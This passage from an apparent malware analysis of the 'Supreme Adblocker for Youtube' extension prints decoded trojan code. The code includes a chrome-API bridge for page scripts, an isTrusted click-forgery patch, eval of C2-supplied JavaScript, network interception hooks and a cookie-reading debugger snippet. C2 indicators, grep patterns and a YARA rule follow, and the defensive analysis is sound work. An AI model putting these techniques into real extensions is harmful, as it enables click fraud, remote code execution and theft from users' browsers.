waitForResponse('93b3', callback);
}
}
}
};
// Fingerprint โ any page script can check for the extension's presence
window.exdipmver = extensionVersion;
}
The content-script side listens to window.postMessage and routes calls to the real Chrome APIs:
// Content script side -- bridges postMessage to actual chrome.* APIs
window.addEventListener('message', (g) => {
if (g.source !== window) return;
switch (g.data.b) {
case 'eb2f': // sendMessage relay
chrome.runtime.sendMessage(g.data.i, (u) => {
window.postMessage({b: '3250', u}, '*');
});
break;
case 'c185': // storage.local.set relay
chrome.storage.local.set(g.data.i, () => {});
break;
case '9027': // storage.local.get relay
chrome.storage.local.get(g.data.i, (u) => {
window.postMessage({b: '93b3', u}, '*');
});
break;
}
});
Any code running in an injected <script> tag on any webpage can now call window.chrome.storage.local.get(...) and receive real data from the extension's private storage. This effectively blurs the security boundary between the extension's privileged context and the untrusted web-page context.
The exported marker window.exdipmver (decoded from the hidden string table as index 19) is a fingerprint: any page-level script can check for this property to confirm it is running inside a browser with the malicious extension installed.
One additional obfuscation trick in "a431": the keyword undefined is re-used as a local function name โ a deliberate attempt to confuse static analysis tools that would flag a ReferenceError:
// "undefined" here is NOT the global undefined -- it's a locally-named function
function undefined(w) {
return w ? "'" + w + "'" : this[r.r[20]] + ','; // formats bridge arguments
}
8. Layer Six: Defeating isTrusted Click Checks
Modern browsers assign event.isTrusted = true only to events generated by real user interactions (keyboard press, mouse click). Scripts creating synthetic events via new MouseEvent() or element.click() get isTrusted = false. Many platforms, including YouTube, check this flag to reject bot-generated clicks.
youtube2.js patches this at the prototype level:
// js/youtube2.js
Element.prototype._onClick = Element.prototype.onClick;
Element.prototype.onClick = function () {
let args = [...arguments];
let temp = args[1];
args[1] = function () {
let args2 = [...arguments];
args2[0] = Object.assign({}, args2[0]);
args2[0].isTrusted = true; // forge trusted flag on a plain object copy
return temp(...args2);
};
return this._onClick(...args);
};
By overriding Element.prototype.onClick, every click handler on the page now receives a wrapper that forces isTrusted = true on the event object before passing it to the real handler. The platform's anti-bot check is defeated by overwriting the property on a plain object copy before the check runs.
This same technique bypasses YouTube's ad-skip-button detection โ but it also makes the fraudulent affiliate clicks appear to come from a real user, defeating JD.com's and Taobao's click-validity checks.
9. Layer Seven: eval() Running Remote JavaScript
The final and most direct attack vector is in youtube2.js. After ytBlocker.json is fetched and its script property stored in youtube.js:
// js/youtube.js -- stores the remote script from C2 into localStorage
localGet('ytBlockerJson').then((s) => {
ytBlockerJson = s;
if (ytBlockerJson && ytBlockerJson.script) {
localStorage.setItem('ytBlockerScript', ytBlockerJson.script);
$.getScript(chrome.runtime.getURL('js/youtube2.js'), function() {
// youtube2.js is now loaded and will execute the script
});
}
});
// js/youtube2.js -- first two executed lines
var ytBlockerScript = localStorage.getItem('ytBlockerScript');
eval(ytBlockerScript);
The chain is: C2 server provides JSON โ JSON contains a JavaScript string โ stored in localStorage โ eval() executes it. This is a textbook remote code execution pattern. There is no integrity check, no version control, and no sandboxing beyond what the browser already provides.
The XHR and Fetch Interception Chain
Following the eval(), youtube2.js wraps every outgoing network request:
// js/youtube2.js -- network interception hooks
function openBypass(original_open) {
return function(method, url, async) {
this.requestMethod = method;
this.requestURL = url;
this.addEventListener("readystatechange", modifyResponse);
return original_open.apply(this, arguments);
};
}
function modifyResponse(response) {
if (this.readyState === 4) {
var modifyObj = getResponseModify(this.requestURL);
if (modifyObj) {
var original = this.responseText;
Object.defineProperty(this, "responseText", {writable: true});
this.responseText = newResponse(original, modifyObj);
}
}
}
XMLHttpRequest.prototype.open = openBypass(XMLHttpRequest.prototype.open);
XMLHttpRequest.prototype.send = sendBypass(XMLHttpRequest.prototype.send);
// Fetch equivalent
window.fetch = (requestObj, options) => {
return originalFetch(requestObj, options).then(async (response) => {
var modifyObj = getResponseModify(requestObj.url);
if (modifyObj) {
var text = await response.clone().text();
var modified = newResponse(text, modifyObj);
return new Response(modified, response);
}
return response;
});
};
if (typeof window.fetch == 'function') modifyFetchResponse();
getResponseModify() consults the ytBlockerJson configuration to decide which URLs to intercept and what transformations to apply. At present these transformations strip YouTube's ad-placement JSON nodes. However, because the hooks intercept any URL (not just YouTube), the same infrastructure could silently intercept banking API responses, OAuth tokens, or session cookies the moment the C2 server pushes an updated script value.
10. The Webpack Module Architecture
videojs-contrib-ads.min.js is a self-executing webpack bundle. The outer wrapper is:
(function(a) {
function b(b) { /* module runner */ }
function x() { /* dependency resolver */ }
var n = {}, e = {options: 0}, f = [];
function i(b) { /* require() implementation */ }
// ...
})(/* module map */);
The module map is a plain JavaScript object where each key is a short identifier (like "070c", "3ad6", "bd10") and each value is a function function(a, b, x) where:
a= the module object (with.exports)b=module.exportsshorthandx=require()function (loads another module by ID)
To read the code you must trace the x("module_id") calls. Key modules and their actual purposes:
| Module ID | Disguise | Actual Purpose |
|---|---|---|
"070c" |
CSS-in-JS (Emotion) | Global config carrier (m, m.r, m.p) |
"3ad6" |
CSS utility | Generic function dispatcher / q() helper |
"b501" |
CSS utility | String splitter |
"bd10" |
CSS cache | Main payload orchestrator |
"a431" |
Animation | Chrome API bridge + remote code executor |
"4acd" |
CSS animation | DOM element factory (document.createElement) |
"15ac" |
CSS-in-JS | Install timestamp recorder |
"dc38" |
Storage hook | Affiliate redirect executor |
"6ab7" |
Event emitter | Random number generator |
"6212" |
Reflect polyfill | window.top === window.self checker |
"4fe2" |
String replace | Final decoded-URL formatter |
"61bf" |
Reflect polyfill | Base-36 decoder (t() function) |
"8164" |
(utility) | chrome.storage.local.set wrapper |
"d518" |
CSS style getter | Multi-pass atob() applier |
"2bd2" |
(utility) | Timestamp writer to storage |
Execution flows in this order once chrome.storage.local.get(null, ...) resolves:
"bd10" (orchestrator)
|
+-- "2bd2" record current timestamp to storage
+-- "15ac" if no install timestamp: write Date.now() to storage
|
+-- Check hoursSinceInstall:
< 72h โ return early (silent)
>= 72h โ random 20% gate:
"dc38" (affiliate redirect executor)
"a431" (bridge + remote executor)
โโโ eval(storedCode) inside injected <script>
11. The debugger Permission Attack Surface
The debugger permission was clearly originally intended for the ad-skip feature. However, the permission is completely unscoped. An extension holding debugger permission is one API call away from:
// Arbitrary JS execution in any tab -- NOT currently used, but possible with this permission
chrome.debugger.attach({tabId: anyTabId}, '1.3', function() {
chrome.debugger.sendCommand({tabId: anyTabId}, 'Runtime.evaluate', {
expression: 'document.cookie' // or any other JS
}, function(result) {
// result contains the return value
});
});
The full list of capabilities unlocked by this single permission:
| CDP Method | What it exposes |
|---|---|
Runtime.evaluate |
Run arbitrary JS in any tab's main world |
DOM.getDocument + DOM.querySelector |
Extract any DOM node / form field value |
Network.enable + Network.getResponseBody |
Read all HTTP responses after HTTPS decryption |
Input.dispatchKeyEvent |
Type into any password field |
Page.captureScreenshot |
Take a screenshot of any tab |
Storage.clearDataForOrigin |
Delete data from any origin |
No legitimate ad-blocker needs any of these capabilities. The presence of "debugger" in manifest.json is a major red flag in any extension that is not a developer tool.
12. Cross-Extension Signature: The YTMP4 Family
Comparing this extension with YTMP4 - Download YouTube Videos to MP4 (analyzed separately in this repository) reveals an unmistakable shared codebase:
| Feature | Supreme Adblocker | YTMP4 |
|---|---|---|
| PNG steganography after IEND | Yes (25,069 bytes) | Yes (1,902 bytes) |
| Unicode low-byte encoding | Yes (unEscape) |
Yes (identical algorithm) |
Shared config key "46ucadyb" |
Yes | Yes |
| Fake data URI string table | Yes | Similar technique |
| 72-hour activation sleeper | Yes | Yes |
bai.qingcaila.top C2 |
Yes | Different domain |
Remote declarativeNetRequest updates |
Yes | Yes |
| iframe/anchor click injection | Yes | Yes |
window.chrome API bridge |
Yes | Yes |
exdipmver fingerprint |
Yes | Yes |
The shared "46ucadyb" key, the identical unEscape() algorithm, and the same module naming conventions (bk.Timeout, hadImages) confirm that both extensions were written by the same author or development team.
The YTMP4 extension used logo.png as the steganography carrier with a smaller 1,902-byte payload. The Supreme Adblocker uses working.png with a 25,069-byte payload โ a significantly more developed deployment. This suggests an iterative development process across multiple fake-utility extensions targeting different user needs (video downloaders, ad-blockers) with the same underlying fraud infrastructure.
13. The Full Attack Chain
Install
|
+-- install.html loads
| install.js sends install date + key to background
|
+-- serviceWorker.js (background)
| Fetches ytBlocker.json from bai.qingcaila.top (every ~10 days)
| Stores config as ytBlockerJson in chrome.storage.local
| Records install timestamp
|
+-- youtube.js (content script, YouTube only)
| Reads ytBlockerJson from storage
| Stores ytBlockerJson.script as ytBlockerScript in localStorage
| Loads youtube2.js
|
+-- youtube2.js (content script, YouTube only)
| eval(localStorage.getItem('ytBlockerScript'))
| -- executes remote C2 JavaScript --
| Patches XHR + fetch to strip YouTube ad nodes
| Patches Element.prototype.onClick -> isTrusted=true
|
+-- videojs-contrib-ads.min.js (content script, ALL websites)
Reads chrome.storage.local (all keys)
Decodes string table from fake data URI (base64 + base-36 stream cipher)
Checks install timestamp:
< 72 hours โ exit silently
>= 72 hours:
Random 20% gate: 80% of page loads still skip
"dc38" redirect executor:
Read storage["extftsams99ba"]
If page URL matches domain โ inject hidden <a> + .click()
โ Taobao / JD.com affiliate tracking pixel fires
โ Clear storage key (destroy evidence)
"a431" bridge + remote executor:
Inject window.chrome bridge as <script> tag
setTimeout(() => eval(storedCode)) -- C2 payload runs in page
Every 48 hours:
Fetch https://www.$1.com/ext/load.php?f=svr.png
Store response as new executable code
14. Static Signatures for Detection
Grep patterns for automated scanners:
# C2 domain
grep -r "bai.qingcaila.top" .
# eval from localStorage
grep -rE 'eval\s*\(\s*localStorage\.getItem' .
# unEscape characteristic -- the two-digit hex slice
grep -rE 'uo\.substr\s*\(uo\.length\s*-\s*2' .
# 46ucadyb -- shared author key in both stego payload and main bundle
grep -r "46ucadyb" .
# isTrusted forgery
grep -rE 'isTrusted\s*=\s*true' .
# debugger attach
grep -rE 'chrome\.debugger\.attach' .
# Fake data URI embedded in a JS variable (not in HTML)
grep -rE '"data:image/png;base64,[A-Z0-9]{200}"' .
# PNG appended-data check (Python one-liner)
python3 -c "
data = open('icons/working.png','rb').read()
iend = data.find(b'\x49\x45\x4e\x44\xae\x42\x60\x82')
extra = len(data) - iend - 8
if extra > 100: print(f'SUSPICIOUS: {extra} bytes after IEND')
"
YARA rule:
rule SupremeAdblocker_ClickFraud {
meta:
description = "Detects Supreme Adblocker for Youtube click-fraud trojan family"
author = "reverse engineered from d4dac150 / ytmp4 family"
strings:
$c2_domain = "bai.qingcaila.top" ascii
$eval_local = "eval(ytBlockerScript)" ascii
$unEscape = "uo.substr(uo.length - 2" ascii
$isTrusted = "isTrusted = true" ascii
$key_shared = "46ucadyb" ascii
$fingerprint = "exdipmver" ascii
$taobao = "ick.taobao.com" ascii
$jd_click = "ion-click.jd.com" ascii
$debugger_cmd = "Input.dispatchMouseEvent" ascii
condition:
3 of them
}
15. How to Detect This Class of Threat
For users:
- Be suspicious of any extension that requests
debuggerpermission โ no legitimate ad-blocker needs it. - An extension that matches "all URLs" (
http://*/*,https://*/*) in its content scripts runs on your bank, your email, and your shopping sites โ not just YouTube. - If a browser extension shows more than one content-script block in
manifest.json, check what each block actually matches. - Check for unexplained affiliate visits to Taobao or JD.com in your browser history.
For developers and security researchers:
- Check for bytes after the PNG
IENDchunk. Any data there is hidden by definition. - Search for
eval()taking a localStorage value โ this is a classic C2 payload mechanism. - Decode
data:image/...;base64,values that appear inside JavaScript strings rather than in HTML. If the decoded content is not a real image, something is being hidden. - Look for
Element.prototype.onClickreassignment โ a legitimate extension has no reason to monkey-patch event prototypes. - The
debuggerpermission inmanifest.jsonis a major red flag in any non-developer-tool extension. - Look for
setTimeout(string, delay)calls โ the string form ofsetTimeoutis a functional alias foreval().
16. Indicators of Compromise
| Type | Value |
|---|---|
| Extension ID | d4dac150-09dd-4ee9-9edf-176b06f05b9d@adblockutube |
| Extension SHA-256 | 41a36be9609501fac979ace620d3468d5ad70d43ee9ce2707bbca6e9af017680 |
| Extension version | 1.9.0 |
| C2 domain | bai.qingcaila.top |
| C2 URL 1 | https://bai.qingcaila.top/ytBlocker.json |
| C2 URL 2 | https://bai.qingcaila.top/yt/working.js |
| Payload URL template | https://www.$1.com/ext/load.php?f=svr.png |
| Affiliate target 1 | ick.taobao.com (Taobao click-tracking endpoint) |
| Affiliate target 2 | ion-click.jd.com (JD.com click-tracking endpoint) |
| Storage key (redirect URL) | extftsams99ba |
| Storage key (C2 config) | ytBlockerJson |
| Storage key (C2 payload) | 87ea |
| localStorage key (eval target) | ytBlockerScript |
| Window fingerprint property | exdipmver |
| PNG stego carrier | icons/working.png, bytes 27,632 onward |
| Stego header | \r\nJson (hex: 0d 0a 4a 73 6f 6e) |
| Shared author key | 46ucadyb (also present in YTMP4 extension) |
Network indicators to watch for:
- Outbound HTTPS to
bai.qingcaila.topfrom a browser process - Outbound request with path
/ytBlocker.jsonor/yt/working.js - Background polling approximately every 10 days (
9e8ms threshold)
17. Summary
"Supreme Adblocker for Youtube" is a multi-layered trojan that uses the following techniques in combination:
| Technique | Purpose |
|---|---|
| YouTube ad-blocking | Legitimacy cover / keeps users installed |
| 72-hour activation delay | Evades quick manual review |
| 20% random sampling | Reduces anomaly signal further |
| PNG steganography (25 KB) | Hides JavaScript payload from file scanners |
| Unicode low-byte encoding | Obfuscates hidden payload content |
| Fake library filename | Disguises malicious script as open-source |
data:image encoded string table |
Hides C2 domain and target URLs from grep |
| Base-36 stateful stream cipher | Double-encodes the string table |
Remote JSON + eval() |
Full remote code execution backdoor |
setTimeout(string) alias |
Disguises a second eval() call |
debugger permission + CDP |
Hardware-level click simulation in any tab |
isTrusted prototype patch |
Defeats bot-click detection on target sites |
window.chrome bridge |
Escalates page-script to extension privileges |
undefined re-used as function name |
Confuses static analysis tools |
Hidden <a> + .click() |
Silent affiliate commission fraud |
| Storage cleanup after click | Erases forensic evidence mid-run |
<head> element injection |
Keeps fraudulent links out of visible DOM |
The underlying motivation is financial: the attacker earns affiliate commissions every time an infected user visits Taobao or JD.com. At scale, even a tiny per-click commission across tens of thousands of installations generates meaningful revenue with zero visible interaction from the victim.
The remote execution channel is the more dangerous long-term risk. The attacker can change ytBlocker.json at any time to deploy an entirely different payload โ credential harvesting, session token exfiltration, or phishing overlays. There is nothing in the extension that restricts what the evaluated code can do.
Comparison with the YTMP4 family extension confirms that this is not an isolated piece of malware but a campaign โ the same infrastructure reused across multiple fake-utility extensions targeting different categories of user.
Need an Android Developer or a full-stack website developer?
I specialize in Kotlin, Jetpack Compose, and Material Design 3. For websites, I use modern web technologies to create responsive and user-friendly experiences. Check out my portfolio or get in touch to discuss your project.


